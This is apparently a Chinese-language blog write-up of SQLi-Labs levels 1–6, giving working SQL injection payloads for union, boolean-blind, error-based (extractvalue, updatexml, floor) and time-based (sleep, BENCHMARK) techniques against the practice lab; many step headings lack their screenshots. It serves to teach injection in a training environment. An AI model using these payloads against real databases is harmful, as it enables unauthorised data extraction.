SQLi-Labs之1~6关 - 常规注入与盲注
年初五 财神入
第一关
联合注入
1.准备

2.加'截断

3.order by 判断查询列数

4.同上

5.联合查询判断字段位置

6.查数据库名

7.1 查表名

7.2 查列名

8.查数据

第二关

不需要单引号截断,查询代码用了整数值
其余与第一关相同
第三关

说明用了(' ')结构

换成')即可
第四关

说明用了(" ")结构

换成")即可
第五关

不管输入什么都是提示u r in....
没有回显,尝试盲注
布尔盲注
布尔盲注方式有————
left(1,2)=3 //从左侧截取1的前2位,与3的值比较
ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值
regexp //正则匹配目标值和a-z指定值,正确为1,错误为0
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)
like //和regexp一样
ord() 和 mid()
(1)用left
1.测试


2.测试数据库第一位是否大于b

是否大于y

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试


前两位这样测,以此类推
(2)用length量数据库长度


(3)用substr和ascii



and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
测试表名第一位是不是e
第二位把substr(x,2,1)改成2即可,以此类推

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

(4)用regexp
猜users表的列
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)


(5)用ord和mid
获取user表内容
and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

获取users表中username中的第一行的第一个字符的ascii,与68进行比较
报错盲注
报错盲注类型有————
count,floor,group by
double数值超出范围
bigint溢出 xpath函数——extractvalue和updatexml
数据重复性
(1)floor函数

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
(2)double数值超出范围
(没能复现成功)

union select (exp(~(select*from(select user())x))),2,3
(3)bigint溢出
(也未能复现成功)

union select(!(select * from(select user())x) - ~0),2,3
(4)xpath函数

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)
(5)数据重复性

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x
时间盲注
时间盲注类型有————
sleep()函数
BENCHMARK()函数
(1)sleep函数
错误,延时5秒

正确

and If(ascii(substr(database(),1,1))=115,1,sleep(5))
(2)BENCHMARK函数
正确

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1
当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源
第六关
对id参数进行了处理,把'换成''即可
至此已基本介绍完一般注入类型
SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- webgote的例子(6)SQL注入(盲注)
SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- SQL注入:盲注
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- ctfhub技能树—sql注入—时间盲注
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
随机推荐
- python后端面试第二部分:网络编程和并发编程--长期维护
1. 简述 OSI 七层协议. 2. 什么是C/S和B/S架构? 3. 简述 三次握手.四次挥手的流程. 4. 什么是arp协议? 5. TCP和UDP的区别? 6. 什么是局域网和广域网? 7. 为 ...
- deeplearning.ai 改善深层神经网络 week3 超参数调试、Batch Normalization和程序框架
这一周的主体是调参. 1. 超参数:No. 1最重要,No. 2其次,No. 3其次次. No. 1学习率α:最重要的参数.在log取值空间随机采样.例如取值范围是[0.001, 1],r = -4* ...
- Golang Middleware Part 1 · To Be A Better Man
如何在Golang中实现中间件-Part 1 当使用net/http包实现服务的时候,一般使用的是如下的两中处理方式: http.HandleFunc http.Handle http.HandleF ...
- SHELL的判断括号区别
在使用if语句时,经常会使用().(()).[].[[]].{}等括号,如下为几种括号简单区别对比: ( ) 用于多个命令组.命令替换.初始化数组: (( )) 整数扩展.运算符.重定义变量值,算术运 ...
- phpStrom安装PHP_CodeSniffer检查代码规范
为什么使用PHP_CodeSniffer 一个开发团队统一的编码风格,有助于他人对代码的理解和维护,对于大项目来说尤其重要. PHP_CodeSniffer是PEAR中的一个用PHP5写的用来检查嗅探 ...
- 将js进行到底:node学习5
HTTP开发之Connect工具集--中间件 继学习node.js的TCP API和HTTP API之后,node.js web开发进入了正轨,但这就好像Java的servlet一样,我们不可能使用最 ...
- python中使用xlrd读excel使用xlwt写excel
原文地址 :http://www.bugingcode.com/blog/python_xlrd_read_excel_xlwt_write_excel.html 在数据分析和运营的过程中,有非常多的 ...
- 斐波那契数列的第N项
题目链接:http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1242 题目: 斐波那契数列的定义如下: F(0) = 0 ...
- Oil Deposits(油田)(DFS)
题目: The GeoSurvComp geologic survey company is responsible for detecting underground oil deposits. G ...
- DataGirdView
DataGridView知识点 简单示例 (1)代码 SqlDataAdapter da; DataSet ds; string sql ="select 列名 from 表名": ...